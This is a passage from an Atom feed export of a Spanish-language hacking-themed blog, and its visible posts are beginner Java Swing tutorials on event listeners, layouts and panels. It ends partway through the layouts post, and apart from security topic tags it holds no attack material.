<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5049397840722246187</id><updated>2024-11-05T18:44:40.146-08:00</updated><category term="Mapeo de red"/><category term="nessus"/><category term="nmap"/><category term="De-ICE"/><category term="Relato de una intrusión"/><category term="linux"/><category term="manual"/><category term="metasploit"/><category term="1.100"/><category term="Análisis"/><category term="Backdoor SSH"/><category term="Backtrack"/><category term="Cracking"/><category term="Escaneo"/><category term="FDP"/><category term="FSD"/><category term="FTP"/><category term="ISO"/><category term="Ingeniería inversa"/><category term="Instalación del entorno"/><category term="Keygen"/><category term="PHP"/><category term="Root"/><category term="Webcrawling"/><category term="arbitrary code execution"/><category term="base de datos"/><category term="bruteforce"/><category term="damn vulnerable linux"/><category term="diccionario"/><category term="exploit"/><category term="guia"/><category term="hacking web"/><category term="heorot"/><category term="huellas"/><category term="insecure cookie"/><category term="insecure cookie Handling"/><category term="instalación"/><category term="instalar"/><category term="intrusion"/><category term="lfi"/><category term="metasploitable"/><category term="mysql"/><category term="máquinas virtuales"/><category term="nasm"/><category term="relato"/><category term="servidor"/><category term="shell"/><category term="sql"/><category term="tutorial"/><category term="vulnerabilidad"/><category term="webshell"/><category term="xss"/><category term="zapper"/><title type='text'>Blog OverSec.cu.cc</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-4626737180641268138</id><published>2012-10-21T05:29:00.002-07:00</published><updated>2012-10-21T05:29:26.989-07:00</updated><title type='text'>Interfaz Grafica en Java [Tercera parte]</title><content type='html'>&lt;p&gt;Hola a todos, aqui vamos a hacer la tercera y ultima parte, en donde vamos a ver los eventos que es lo que nos faltaba.&lt;/p&gt;

&lt;p&gt;Recuerden mirar si no lo hicieron las primeras dos partes.&lt;/p&gt;

&lt;p&gt;Para comenzar vamos a ver lo que son las &lt;strong&gt;interfaces&lt;/strong&gt;, que lo vamos a necesitar para llegar a los eventos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: #008000;&quot;&gt;Interfaz&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;La interfaz es una clase en donde se especifican los metodos pero sin implementarlos.&lt;/p&gt;

&lt;p&gt;Una interfaz se declararia:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;interface nombre_interface {
      tipo_retorno nombre_metodo ( lista_argumentos ) ;
      .............................
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Como por ejemplo:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;interface Persona {
      public void caminar(String direccion, int cantidad);
      public void saltar();
      .............................
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: #008000;&quot;&gt;Eventos&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cuando se va a trabajar con eventos tenemos que especificar cuales son los objetos oyentes. Es decir tenemos que crear objetos y hacerlos oyentes de los eventos necesarios, en caso contrario no se podran manejar los eventos.&lt;br /&gt;
Hay muchos tipos de Listners:&lt;/p&gt;

&lt;p&gt;&lt;ul&gt;&lt;li&gt; ActionListner: Eventos de accion (botones)&lt;br /&gt;
&lt;li&gt; KeyListner: Teclas del teclado&lt;br /&gt;
&lt;li&gt; MouseListner: Clicks en el mouse&lt;br /&gt;
&lt;li&gt; MouseMotionListner: Movimientos del mouse&lt;br /&gt;
&lt;li&gt; AdjustmentListner: Componente movido, redimensionado.&lt;br /&gt;
&lt;li&gt; WindowListner: Eventos de la ventana&lt;br /&gt;
&lt;li&gt; Entre otros...&lt;/ul&gt;&lt;/p&gt;

&lt;p&gt;Veamos un simple ejemplo en donde usemos esto para que sea mas facil de entender y luego lo haremos un poco mas interesante.&lt;/p&gt;

&lt;p&gt;Vamos a crear una ventana. Sino se acuerdan pueden ver los las primera parte.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import javax.swing.*; // importamos los modulos de Swing

public class Windows extends JFrame { // creamos una clase que hereda de JFrame
 
 Windows() { // constructor
  setTitle(&quot;Ventana Nueva&quot;); // titulo de la ventana
  setSize(300, 200); // tamaño 
  setLocation(500, 500); // ubicacion
  setVisible(true); // visibilidad
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
 }  // fin del constructor

} // fin class Windows&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Vamos a crear una nueva clase que herede de JButton y que implemente ActionListener, que es una interfaz.&lt;br /&gt;
Importaremos primeramente lo que necesitemos.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;

public class unButton extends JButton implements ActionListener {

}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Dentro de dicha clase vamos a crear el constructor en donde le pondremos un texto al button.&lt;br /&gt;
Y ademas vamos a sobreescribir un metodo que se va a llamar cuando se ejecute un evento de la interfaz.&lt;/p&gt;

&lt;p&gt;Nos quedaria asi entonces:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;

public class unButton extends JButton implements ActionListener {

 unButton() {  // constructor
  super(&quot;Boton&quot;);
 }
 
 public void actionPerformed(ActionEvent arg0) {  metodo de la interfaz ActionListener
  System.out.printf(&quot;Preciosaste el Boton :)&quot;);
 }

}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Para finalizar volvemos a la clase de la ventana y vamos a agregar un boton.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;unButton button = new unButton(); // instanciamos un boton
button.addActionListener(button); // lo hacemos oyentes de si mismo
add(button); // lo agregamos al JFrame&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Lo probamos y?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/0df6r.png&quot; alt=&quot;0df6r.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nos ha salido un boton medio grande xD&lt;br /&gt;
No hemos establecido ningun layout, para el que no se acuerde mire la segunda parte.&lt;/p&gt;

&lt;p&gt;Veamos otro ejemplo en donde no vamos a usar la terminal. Sino que vamos a hacer uso de los objetos del JFrame.&lt;br /&gt;
En este ejemplo importaremos los modulos necesarios e instanciaremos una clase que herede de JFrame y que implemente la interfaz de ActionListener.&lt;br /&gt;
Dentro de ella crearemos un constructor donde le pondremos las configuraciones deseadas a la JFrame y agregaremos un JTextfield, un JButton y un JLabel.&lt;br /&gt;
Y mediante un evento haremos que lo que pongamos en el JTextField, al apretar el JButton pase al JLabel. :)&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;//importamos el modulo necesarios
import java.awt.FlowLayout; 
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener; 
import javax.swing.*; 

public class Windows extends JFrame implements ActionListener { // creamos una clase que hereda de JFrame y que implementa la interfaz ActionListener
 JLabel label;
 JTextField texto;
 
 Windows() { // constructor
  setTitle(&quot;Ventana Nueva&quot;); // titulo de la ventana
  setSize(300, 200); // tamaño 
  setLocation(500, 500); // ubicacion
  setVisible(true); // visibilidad
  setLayout(new FlowLayout()); // especificamos un layout
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
  
  texto = new JTextField(&quot;Introduce el Texto&quot;, 20); // instanciamos un objeto JTextField
  JButton button = new JButton(); // instanciamos un objeto JButton
  button.setText(&quot;Boton&quot;); // colocamos un texto al boton
  label = new JLabel(); // instanciamos un objeto JLabel
  
  button.addActionListener(this); // configuramos a JFrame oyente del boton
  
  // agregamos los objetos
  add(texto);
  add(button);
  add(label);
  
 }  // fin del constructor

 public void actionPerformed(ActionEvent arg0) {
  label.setText(texto.getText()); // al JLabel le colocamos el texto del JTextField
 }
 
} // fin class Windows&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Si notaran al &lt;strong&gt;JLabel&lt;/strong&gt; y al &lt;strong&gt;JTextField&lt;/strong&gt; los declaramos fuera del constructor, y eso fue para que los podamos usar luego en el &lt;strong&gt;actionPerformed&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Veamos unas imagenes:&lt;/p&gt;

&lt;p&gt;Antes de precionar el boton. Podemos ver los componente, al label no se lo nota pero esta.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/Vflho.png&quot; alt=&quot;Vflho.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Introducimos un texto en el JTextField y presionamos el JButton.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/HBkab.png&quot; alt=&quot;HBkab.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Para terminar veamos un ejemplo en donde vamos a tener que atender a mas de un componente para realizar sus eventos.&lt;/p&gt;

&lt;p&gt;Vamos a hacer el mismo caso que el anterior pero agregando un par mas de componentes.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;//importamos el modulo necesarios
import java.awt.FlowLayout; 
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener; 
import javax.swing.*; 

public class Windows extends JFrame implements ActionListener { // creamos una clase que hereda de JFrame y que implementa la interfaz ActionListenes
 JLabel label1, label2;
 JTextField texto1, texto2;
 JButton button1, button2;
 
 Windows() { // constructor
  setTitle(&quot;Ventana Nueva&quot;); // titulo de la ventana
  setSize(300, 200); // tamaño 
  setLocation(500, 500); // ubicacion
  setVisible(true); // visibilidad
  setLayout(new FlowLayout()); // especificamos un layout
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
  
  texto1 = new JTextField(10); // instanciamos un objeto JTextField
  button1 = new JButton(); // instanciamos un objeto JButton
  button1.setText(&quot;Bt1&quot;); // colocamos un texto al boton
  label1 = new JLabel(); // instanciamos un objeto JLabel
  
  texto2 = new JTextField(10); // instanciamos un objeto JTextField
  button2 = new JButton(); // instanciamos un objeto JButton
  button2.setText(&quot;Bt2&quot;); // colocamos un texto al boton
  label2 = new JLabel(); // instanciamos un objeto JLabel
  
  button1.addActionListener(this); // configuramos a JFrame oyente del boton
  button2.addActionListener(this); // configuramos a JFrame oyente del boton
  
  // agregamos los objetos
  add(texto1);
  add(button1);
  add(label1);
  add(texto2);
  add(button2);
  add(label2);
  
 }  // fin del constructor

 public void actionPerformed(ActionEvent arg0) {
  
 }
 
} // fin class Windows&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;El code es exactamente el mismo que en el ejemplo anterior solo con la diferencia que le agregue un comonente mas de cada uno.&lt;br /&gt;
Asi nos quedaria:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/eUsOe.png&quot; alt=&quot;eUsOe.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora tenemos que reescribir el metodo &lt;strong&gt;actionPerformed&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;public void actionPerformed(ActionEvent arg0) {
 if (arg0.getSource() == button1)
  label1.setText(texto1.getText());
 if (arg0.getSource() == button2) 
  label2.setText(texto2.getText());  
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Para lograr esto hacemos uso del parametro arg0. Y tambien del metodo getSource, con el cual vamos a poder obtener quien ha disparado el evento.&lt;/p&gt;

&lt;p&gt;Y asi nos quedara.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/KORjR.png&quot; alt=&quot;KORjR.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Final :)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Saludos&lt;/strong&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/4626737180641268138/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/10/interfaz-grafica-en-java-tercera-parte.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4626737180641268138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4626737180641268138'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/10/interfaz-grafica-en-java-tercera-parte.html' title='Interfaz Grafica en Java [Tercera parte]'/><author><name>Anonymous</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/blank.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-6725065529677572784</id><published>2012-09-27T10:09:00.000-07:00</published><updated>2012-09-27T10:14:58.004-07:00</updated><title type='text'>Interfaz Grafica en Java [Segunda parte]</title><content type='html'>&lt;p&gt;Hola a todos. Hoy vamos a seguir con esta segunda parte, en donde vemos primeramente como se pueden organizar los objetos dentro de la ventana. Y si no se hace muy largo veremos tambien los eventos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: 30px;&quot;&gt;Que es un layout?&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Es un objeto que determina la posicion de los componentes en una ventana o panel. Es decir, es el encargado de distribuir los espacios. Hay varios tipos de layout y hasta podemos crear nuevos.&lt;/p&gt;

&lt;p&gt;Vamos a ver un conjunto de layout con sus caracteristicas.&lt;/p&gt;

&lt;p&gt;Para empezar cree una ventana con las configuraciones comunes que vimos en la primera parte.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import javax.swing.JFrame;

public class Windows  extends JFrame  {
 
 Windows() { 
  setTitle(&quot;Ventana con Componentes&quot;);
  setSize(300, 100);
  setVisible(true);
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
 }
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Ahora en ese mismo contructor le vamos a agregar algunas lineas mas.&lt;/p&gt;

&lt;p&gt;Creamos un Contenedor. En donde vamos a ir poniendo los diferentes componentes.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Container contenedor = getContentPane();&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Pero para esto vamos a necesitar importar:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.Container;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: green;&quot;&gt;Border Layout&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Este es el que esta por defecto. Para agregar un componente hay que especificarle una de las siguiente posiciones: Norte, Este, Oeste, Sur o Centro.&lt;/p&gt;

&lt;p&gt;Creamos algunos componentes:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;JLabel label1 = new JLabel(&quot;Primer Label&quot;);
JButton button1 = new JButton(&quot;Primer Button&quot;);
JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
JButton button2 = new JButton(&quot;Segundo Button&quot;);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Y ahora vamos a agregarlos al Contenedor, es aqui donde le vamos a especificar la posicion:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;contenedor.add(label1, BorderLayout.NORTH);
contenedor.add(label2, BorderLayout.EAST);
contenedor.add(button2, BorderLayout.WEST);
contenedor.add(button1, BorderLayout.SOUTH);
contenedor.add(check, BorderLayout.CENTER);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/yXEXI.png&quot; alt=&quot;yXEXI.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Codigo completo del constructor:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Windows() { 
 setTitle(&quot;Ventana con Componentes&quot;);
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();
  
 JLabel label1 = new JLabel(&quot;Primer Label&quot;);
 JButton button1 = new JButton(&quot;Primer Button&quot;);
 JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
 JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
 JButton button2 = new JButton(&quot;Segundo Button&quot;);
  
 contenedor.add(label1, BorderLayout.NORTH);
 contenedor.add(label2, BorderLayout.EAST);
 contenedor.add(button2, BorderLayout.WEST);
 contenedor.add(button1, BorderLayout.SOUTH);
 contenedor.add(check, BorderLayout.CENTER);
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: green;&quot;&gt;Box Layout&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;En este modo, los componentes intentan ocupar el menor espacion que puedan.&lt;/p&gt;

&lt;p&gt;Para utilizarlo hay que crear un BoxLayout primero:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;BoxLayout box = new BoxLayout(contenedor, BoxLayout.Y_AXIS);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Estamos creando una instancia de un BoxLayout llamado box. Entre los parentesis van dos parametros, el primero es el contenedor al que le vamos a aplicar el layout y el segundo es la distribucion que van a tomar los componentes. En este caso es &lt;strong&gt;BoxLayout.Y_AXIS&lt;/strong&gt;, donde se ordenan verticalmente, pero tambien podria haber sido &lt;strong&gt;BoxLayout.X_AXIS&lt;/strong&gt; en donde se organizarian horizontalmente.&lt;/p&gt;

&lt;p&gt;Ahora le decimos al contenedor que utilice ese layout:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;contenedor.setLayout(box);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Utilizando los mismo componente que en el caso anterior.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;JLabel label1 = new JLabel(&quot;Primer Label&quot;);
JButton button1 = new JButton(&quot;Primer Button&quot;);
JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
JButton button2 = new JButton(&quot;Segundo Button&quot;);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Para terminar se los agregamos al contenedor:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;contenedor.add(label1);
contenedor.add(button1);
contenedor.add(label2);
contenedor.add(check);
contenedor.add(button2);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Y el resultado es:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/V0j2r.png&quot; alt=&quot;V0j2r.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Codigo completo del constructor:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Windows() { 
 setTitle(&quot;Ventana con Componentes&quot;);
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();
  
 BoxLayout box = new BoxLayout(contenedor, BoxLayout.Y_AXIS);
 contenedor.setLayout(box);
  
 JLabel label1 = new JLabel(&quot;Primer Label&quot;);
 JButton button1 = new JButton(&quot;Primer Button&quot;);
 JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
 JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
 JButton button2 = new JButton(&quot;Segundo Button&quot;);
  
 contenedor.add(label1);
 contenedor.add(button1);
 contenedor.add(label2);
 contenedor.add(check);
 contenedor.add(button2);
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: green;&quot;&gt;Flow Layout&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Este Layout va agregando los componentes en el espacio que tiene disponible.&lt;/p&gt;

&lt;p&gt;Creamos la instancia del FlowLayout y se la asignamos al contenedor:&lt;br /&gt;
Pero primero vamos a necesitar importar:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.FlowLayout;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;FlowLayout flow = new FlowLayout();
contenedor.setLayout(flow);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Creamos los componentes y los agregamos al Conteiner:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;JLabel label1 = new JLabel(&quot;Primer Label&quot;);
JButton button1 = new JButton(&quot;Primer Button&quot;);
JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
JButton button2 = new JButton(&quot;Segundo Button&quot;);
  
contenedor.add(label1);
contenedor.add(button1);
contenedor.add(label2);
contenedor.add(check);
contenedor.add(button2);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Obteniendo:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/iSItN.png&quot; alt=&quot;iSItN.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Codigo completo del constructor:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Windows() { 
 setTitle(&quot;Ventana con Componentes&quot;);
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();

 FlowLayout flow = new FlowLayout();
 contenedor.setLayout(flow);
  
 JLabel label1 = new JLabel(&quot;Primer Label&quot;);
 JButton button1 = new JButton(&quot;Primer Button&quot;);
 JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
 JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
 JButton button2 = new JButton(&quot;Segundo Button&quot;);

 contenedor.add(label1);
 contenedor.add(button1);
 contenedor.add(label2);
 contenedor.add(check);
 contenedor.add(button2);
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: green;&quot;&gt;Grid Layout&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;En este caso los componentes se ordenan haciendo uso de tablas.&lt;/p&gt;

&lt;p&gt;Instanciamos el GridLayout, en donde le pasamos como parametros las filas y columnas.&lt;br /&gt;
Y se lo asignamos al contenedor.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;GridLayout grid = new GridLayout(3,2);
contenedor.setLayout(grid);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;En nuestro caso usaremos 3 filas y 2 columnas.&lt;br /&gt;
Ademas necesitamos importar:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.GridLayout;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Agregamos los componentes al contenedor.&lt;br /&gt;
Y nos quedara:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/9ijsc.png&quot; alt=&quot;9ijsc.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Codigo completo del constructor:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Windows() { 
 setTitle(&quot;Ventana con Componentes&quot;);
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();
  
 GridLayout grid = new GridLayout(3,2);
 contenedor.setLayout(grid);
  
 JLabel label1 = new JLabel(&quot;Primer Label&quot;);
 JButton button1 = new JButton(&quot;Primer Button&quot;);
 JLabel label2 = new JLabel(&quot;Segundo Label&quot;);
 JCheckBox check = new JCheckBox(&quot;Primer CheckBox&quot;);
 JButton button2 = new JButton(&quot;Segundo Button&quot;);
  
 contenedor.add(label1);
 contenedor.add(button1);
 contenedor.add(label2);
 contenedor.add(check);
 contenedor.add(button2);
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: 30px;&quot;&gt;Paneles&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Para finalizar vamos a ver como implementar paneles y que nos va a servir mucho tambien para la organizacion de los componentes dentro de la ventana.&lt;/p&gt;

&lt;p&gt;Para comenzar vamos a crear una ventana comun como hemos hecho anteriormente. Al cual le agregaremos ya un &lt;strong&gt;Container&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.Container;
import javax.swing.*;

public class Windows extends JFrame {
 
 Windows() { 
  setTitle(&quot;Ventana con Componentes&quot;);
  setSize(300, 300);
  setVisible(true);
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
  Container contenedor = getContentPane();
 }
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Ahora voy a crear una nueva clase llamada Panel que herede de &lt;strong&gt;JPanel&lt;/strong&gt;. Y le agregare un &lt;strong&gt;Constructor&lt;/strong&gt; en donde le cambio el color de fondo para que se note luego en la imagen.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.Color;

public class Panel extends JPanel{    // Clase Panel heredada de JPanel
 
 Panel(){    // Constructor
  setBackground(Color.BLUE);    // Color de fondo
 }

}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Volvemos al constructor de la ventana, creamos una instancia de la clase Panel y se la agregamos al contenedor.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Panel panel = new Panel();   // instanciamos un objeto Panel
contenedor.add(panel);   // lo agregamos al contenedor&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/mVprY.png&quot; alt=&quot;mVprY.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si notamos en la imagen vemos al panel por el color de fondo Azul que ocupa todo la ventana.&lt;/p&gt;

&lt;p&gt;Y podemos agregarle componentes al Panel desde su contructor.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;JLabel label = new JLabel(&quot;Primer Label&quot;);
JButton button = new JButton(&quot;Primer Button&quot;);
  
add(label);
add(button);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/op6g3.png&quot; alt=&quot;op6g3.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora ustedes se preguntaran, para que hacer todo esto de crear un Panel si podemos agregar los componentes en el mismo contenedor.&lt;/p&gt;

&lt;p&gt;La ventanja es que por ejemplo en el contenedor de la ventana podemos ponerle un Layout Grid y en lo que seria cada celda ponerle un panel distinto.&lt;/p&gt;

&lt;p&gt;Vamos a crear una ventana en donde le agregaremos un contenedor con un GridLayout de 3 filas y 1 columna.&lt;/p&gt;

&lt;p&gt;Contructor:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Windows() { 
 setTitle(&quot;Ventana con Componentes&quot;);
 setSize(300, 300);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
 
 Container contenedor = getContentPane(); // contenedor de la ventana
 GridLayout grid = new GridLayout(3,1);  // instanciamos un objeto GridLayout
 contenedor.setLayout(grid);   // se lo agregamos al contenedor
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Y vamos a crea dos clases:&lt;/p&gt;

&lt;p&gt;Una para un panel llamada &lt;strong&gt;PanelUno&lt;/strong&gt; que herede de &lt;strong&gt;JPanel&lt;/strong&gt; y cuyo color de fondo va a ser Cyan.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.Color;
import javax.swing.JPanel;

public class PanelUno extends JPanel{
 
 PanelUno() {
  setBackground(Color.CYAN);
 }
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;La segunda clase para otro panel llamada &lt;strong&gt;PanelDos&lt;/strong&gt; que herede de &lt;strong&gt;JPanel&lt;/strong&gt; y cuyo color de fondo sea Green.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;import java.awt.Color;
import javax.swing.JPanel;

public class PanelDos extends JPanel{
 
 PanelDos() {
  setBackground(Color.GREEN);
 }
 
}&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Volvemos al constructor de la ventana y le agregamos los dos paneles al Layout.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;PanelUno panel1 = new PanelUno(); // instanciamos un objeto de PanelUno
PanelDos panel2 = new PanelDos(); // instanciamos un objeto de PanelDos
  
// agregamos los paneles al contenedor
contenedor.add(panel1); 
contenedor.add(panel2);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/FAbSA.png&quot; alt=&quot;FAbSA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Mirando los colores podemos apreciar la ubicacion de cada panel. Y hay una tercer celda en donde no esta en uso.&lt;/p&gt;

